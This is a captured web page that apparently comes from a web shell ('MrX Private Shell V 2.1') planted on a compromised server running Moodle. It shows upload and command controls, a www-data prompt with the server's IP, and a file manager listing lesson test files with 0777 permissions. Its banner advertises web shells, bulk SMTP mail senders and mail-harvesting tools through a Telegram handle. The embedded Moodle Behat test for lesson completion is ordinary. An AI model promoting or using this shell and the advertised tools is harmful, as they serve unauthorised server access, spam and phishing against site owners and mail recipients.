__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@mod @mod_lesson @core_completion
Feature: View activity completion in the lesson activity
  In order to have visibility of lesson completion requirements
  As a student
  I need to be able to view my lesson completion progress

  Background:
    Given the following "users" exist:
      | username | firstname | lastname | email                |
      | student1 | Vinnie    | Student1 | student1@example.com |
      | teacher1 | Darrell   | Teacher1 | teacher1@example.com |
    And the following "courses" exist:
      | fullname | shortname | enablecompletion | showcompletionconditions |
      | Course 1 | C1        | 1                | 1                        |
    And the following "course enrolments" exist:
      | user | course | role           |
      | student1 | C1 | student        |
      | teacher1 | C1 | editingteacher |
    And the following "activity" exists:
      | activity                   | lesson        |
      | course                     | C1            |
      | idnumber                   | mh1           |
      | name                       | Music history |
      | section                    | 1             |
      | completion                 | 2             |
      | completionview             | 1             |
      | completionusegrade         | 1             |
      | completionendreached       | 1             |
      | completiontimespentenabled | 1             |
      | completiontimespent        | 3             |
    And the following "mod_lesson > pages" exist:
      | lesson        | qtype   | title                | content                                |
      | Music history | content | Music history part 1 |                                        |
      | Music history | essay   | Music essay          | Write a really interesting music essay |
    And the following "mod_lesson > answers" exist:
      | page                 | answer                      | jumpto    | score |
      | Music history part 1 | The history of music part 1 | Next page | 0     |
      | Music essay          |                             | Next page | 1     |

  Scenario: A teacher can view a lesson activity automatic completion conditions
    When I am on the "Music history" "lesson activity" page logged in as teacher1
    Then "Music history" should have the "View" completion condition
    And "Music history" should have the "Spend at least 3 secs on this activity" completion condition
    And "Music history" should have the "Go through the activity to the end" completion condition
    And "Music history" should have the "Receive a grade" completion condition

  Scenario: A student can complete a lesson activity by meeting the completion conditions
    Given I am on the "Music history" "lesson activity" page logged in as student1
    And the "View" completion condition of "Music history" is displayed as "done"
    And the "Spend at least 3 secs on this activity" completion condition of "Music history" is displayed as "todo"
    And the "Go through the activity to the end" completion condition of "Music history" is displayed as "todo"
    And the "Receive a grade" completion condition of "Music history" is displayed as "todo"
    When I am on the "Music history" "lesson activity" page
    And I wait "4" seconds
    And I reload the page
    And the "View" completion condition of "Music history" is displayed as "done"
    And the "Spend at least 3 secs on this activity" completion condition of "Music history" is displayed as "done"
    And the "Go through the activity to the end" completion condition of "Music history" is displayed as "todo"
    And the "Receive a grade" completion condition of "Music history" is displayed as "todo"
    And I press "The history of music part 1"
    And I set the field "Your answer" to "Some drummers play with their sticks flipped around"
    And I press "Submit"
    Then the "View" completion condition of "Music history" is displayed as "done"
    And the "Spend at least 3 secs on this activity" completion condition of "Music history" is displayed as "done"
    And the "Go through the activity to the end" completion condition of "Music history" is displayed as "done"
    And the "Receive a grade" completion condition of "Music history" is displayed as "done"

  @javascript
  Scenario: A student can manually mark the lesson activity as done but a teacher cannot
    Given I am on the "Music history" "lesson activity editing" page logged in as teacher1
    And I expand all fieldsets
    And I set the field "Students must manually mark the activity as done" to "1"
    And I press "Save and display"
    # Teacher view.
    And the manual completion button for "Music history" should be disabled
    # Student view.
    When I am on the "Music history" "lesson activity" page logged in as student1
    Then the manual completion button of "Music history" is displayed as "Mark as done"
    And I toggle the manual completion state of "Music history"
    And the manual completion button of "Music history" is displayed as "Done"

Filemanager

Name Type Size Permission Actions
all_other_answers_catch.feature File 3.97 KB 0777
behat_mod_lesson_behat.php File 2.88 KB 0777
completion_condition_end_reached.feature File 2.57 KB 0777
completion_condition_time_spent.feature File 2.86 KB 0777
date_availability.feature File 2.49 KB 0777
display_lesson_description.feature File 2.24 KB 0777
duplicate_lesson_page.feature File 6.62 KB 0777
import_fillintheblank_question.feature File 1.62 KB 0777
import_images.feature File 1.79 KB 0777
lesson_activity_completion.feature File 4.93 KB 0777
lesson_complete_report.feature File 6.77 KB 0777
lesson_completion_pass_grade.feature File 3.44 KB 0777
lesson_course_reset.feature File 4.28 KB 0777
lesson_create_pages.feature File 16.4 KB 0777
lesson_delete_answers.feature File 3.36 KB 0777
lesson_edit_cluster.feature File 4.16 KB 0777
lesson_edit_pages.feature File 4.49 KB 0777
lesson_essay_question.feature File 2.95 KB 0777
lesson_exit_enter_clusters.feature File 6.56 KB 0777
lesson_group_override.feature File 18.79 KB 0777
lesson_informations_at_end.feature File 5.14 KB 0777
lesson_navigation.feature File 8.35 KB 0777
lesson_no_calendar_capabilities.feature File 1.81 KB 0777
lesson_number_of_student_attempts.feature File 4.46 KB 0777
lesson_numerical_question_with_locale.feature File 5.59 KB 0777
lesson_outline_report.feature File 6.26 KB 0777
lesson_practice.feature File 3.45 KB 0777
lesson_progress_bar.feature File 3.04 KB 0777
lesson_question_attempts.feature File 7.21 KB 0777
lesson_question_max_attempts.feature File 2.79 KB 0777
lesson_report.feature File 5.03 KB 0777
lesson_report_detailed_statistics.feature File 2.02 KB 0777
lesson_restrict_access.feature File 2.21 KB 0777
lesson_retake.feature File 3.88 KB 0777
lesson_review.feature File 4.11 KB 0777
lesson_student_resume.feature File 12.69 KB 0777
lesson_user_override.feature File 15.6 KB 0777
lesson_with_clusters.feature File 5.31 KB 0777
lesson_with_subcluster.feature File 5.77 KB 0777
link_to_gradebook.feature File 3.75 KB 0777
password_protection.feature File 1.87 KB 0777
questions_images.feature File 4.57 KB 0777
teacher_grade_essays.feature File 4.79 KB 0777
time_limit.feature File 2.17 KB 0777
wrong_answer_continue.feature File 3.33 KB 0777
Filemanager